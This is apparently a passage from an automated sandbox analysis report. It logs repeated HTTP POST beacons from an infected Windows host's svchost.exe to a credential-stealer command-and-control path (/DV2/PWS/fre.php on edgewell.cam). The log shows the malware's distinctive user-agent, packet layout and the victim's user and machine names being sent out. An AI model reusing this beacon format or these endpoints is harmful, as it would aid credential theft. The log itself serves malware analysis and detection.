May 27, 2024 02:58:36.343144894 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:37.038999081 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gt6Q%2BjN4Rjy0m5NE1T5fqOGzKtvzs1Y1fkBoJ45D8pbZOnr0oK4%2FnXgvpLzgcRvkwyNM13d34AU90WKtcJ2UVbBFB2mUnwIwzyAqnGOGh8KHdKg4hu2PXIrX1%2F0Xb%2F8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ebbcfa442dd-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49819	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:37.210299015 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:37.260607958 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:37.875157118 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:37 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ARHQgbrS7KdW1%2FVvLeIy9r7%2BNWe%2F8eNV09yq6pWxm9VWpk89D9ewWYr0xFzwmlfqdFzY2fN4vQ2QQHsr3Ovuw1LOy0E9%2BlWOrQnv168HPAkOU%2F6hlvnX3onvH4CIU8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ec11a057ca0-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49820	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:38.132174015 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:38.175991058 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:38.820672989 CEST	591	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:38 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VClx3BoTzSNUuKkNiof9qUxpt9dWRN9Yc3QURQrWYku1Or2YRYh9uQ9Il0E8TXzM10TGlof3NQ2retQIDbQy20hkQ8u5LjyJWQ94CfsIwk%2BIVG0lGTHvWv4fVNhbQlM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ec71f0f443e-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49821	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:38.993699074 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:39.044789076 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:39.695341110 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:39 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kHgMRJTfjgcXQkns%2BSdaAwuDmB6TMIiMFfqazj9JmYMxH0rjawxIq9RrKnY16fzKZiSB5K9rB0i5%2Feft5jkwpEEgadZt9s2wBncyX0T8VmgMKJikPcec3N3gDahrlWo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ecc4eef7291-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49822	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:39.855397940 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:39.914705992 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:40.549830914 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vs0N0ZZtT4z8x2%2B3f38wQQyWCJiXsH6v9HpNERsLDLcqtRwkocIQ4FszrcdZrSSR%2Fi8uPwbjEQerqi9nyQabtqVTtqAyZKSvzzx9rsOeGX%2BBZvmc8V7Vp2%2BKipevTyA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ed1dfcd9e16-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49823	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:40.730674028 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:40.780827045 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:41.410542011 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=54L3Q6iqBspFEsVFhhHR%2FJqZgWbBPcB4zFgNQtA9a2bUJxWCyDn%2FY4aLHLmi7A%2FF0HdPa2uSlDQH9q9I8M66TncamGEC6dYMJG%2B9AKKxf2QGwFe6dIL%2BTCBth8JLqSw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ed72d6c7298-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49824	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:41.567295074 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:41.616677999 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:42.261049986 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lo4ILAQqat3pzqd4LY5NIOgY531J5vBnDg1ZlI2dBU%2F5a0RCn9sFWNOKHExXrQx21xLi2uEvd9hyWUudOSjQaHI7vc5%2B8SZVI%2B89njkBhldfrSdArX%2BjLjIBZSqdvng%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20edc79bd7c6f-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49825	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:42.432686090 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:42.445364952 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:43.103023052 CEST	603	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3u7%2FZk8IBJJ9IazbZLUj%2Fp8jA952HRoE69B%2FXKMVmibXXmYpK%2F9C9nPW4nZtrWvSM72XuQYJ%2FAxJH95NjouaYAS67kFL%2FksHzKuP7bvRY5WyhEbnmegTsZNf8Fge0%2Fk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ee1c9ca19e7-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49826	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:43.411668062 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:43.766479015 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:44.133662939 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1J0Ttz8hjmVp99ljW%2B449S0nUdNVvVTtrAPQYX3yIdp1fjj06VuDhfqBGZrg982Ht%2BkWmdCTOUmeqe9F0Sy%2Bb0A7vCTrRTeLrPJPTs%2BVpDCrHIS3QXINFejJrNT6f8c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ee82aa441c3-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49827	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:44.306693077 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:44.357331991 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:44.957022905 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QEmrBD6TBd78l2ATXBe3jGHal5VMhQlDbOoszKGV5wS0W%2Fyfo4bQ%2FAWxuUWgSETieKl47bq3rD0%2F2RCjLX4hkmycrSAjJ5zEpuJrwEO6Tb6fcJai8VBIFea6eqzNwnE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20eed7ba717bd-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49828	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:45.171221018 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:45.225220919 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:45.849267006 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1cuYCXalpISxlO54XupsOB9bG6T%2B745VKSdHLY4qg4RWI72KTKOSLB9pZ6vChvu%2BHZVX1cO2DJFYV2nBoofHjWl1EpCgYDB1KSYhVjlnlaEIBwOvUvxkiZHnoZ493B0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ef2ef143354-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49829	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:46.007126093 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:46.060276985 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:46.703253031 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:46 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2UX3rtyiadOvJVEbOJjmdHnJC6zTJPEdizuPOdmR%2B%2BxQR%2F4r1vVwNJ6a9Eut0hIVfltQorPEvsAbuwPLzN9J8q9jWlVrtVKb2o5eF7QW2%2B%2Bx7AfGJ3naP87t1s3nolA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ef82d9c42fc-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49830	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:47.000037909 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:47.021167994 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:47.723396063 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:47 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hvrA7LQQQ1sLI6Knx3qLLvgJe0D8L4LnQqMpQujdtauVWWNPzSUG1umfvLA4jwvV9xzN%2FwXD2LuXNkH%2BxQo%2FvzVOWFhTdB6oz7YuA5nvo%2B8aiP%2BkHbem4DLaCKQkYRM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20efe8aca43f1-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49831	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:47.923427105 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:47.954287052 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:48.635387897 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZxUex5rntIMoh34obZ1i3zGZy%2B8%2Bk0mNMZC9FVhR7M2ECKRFpObrMFgOmHvqcAxUifJVmeFCwyWtKVnhfDJakO%2Fg9OKd8R7U59pVJPDSSA3cJuG54OvdM5PaqwhvmUM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20f044c298c24-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49832	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:48.820321083 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:48.875657082 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:49.607772112 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:49 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QiIqIE61pZhMt2aHSNkBfG5LZ7%2Fni2G9wWrpuWQqxHVKpD8mB7YAkI9b7pfhNbtIOY4fH2Oy5RLqIKUjK8W%2FZ0eY7Kr%2BHRY7tit3xxWLtmLC0N2shIRvtwfnUBU2YS0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20f09cbdc5e6e-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49833	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:51.174320936 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:51.185956001 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
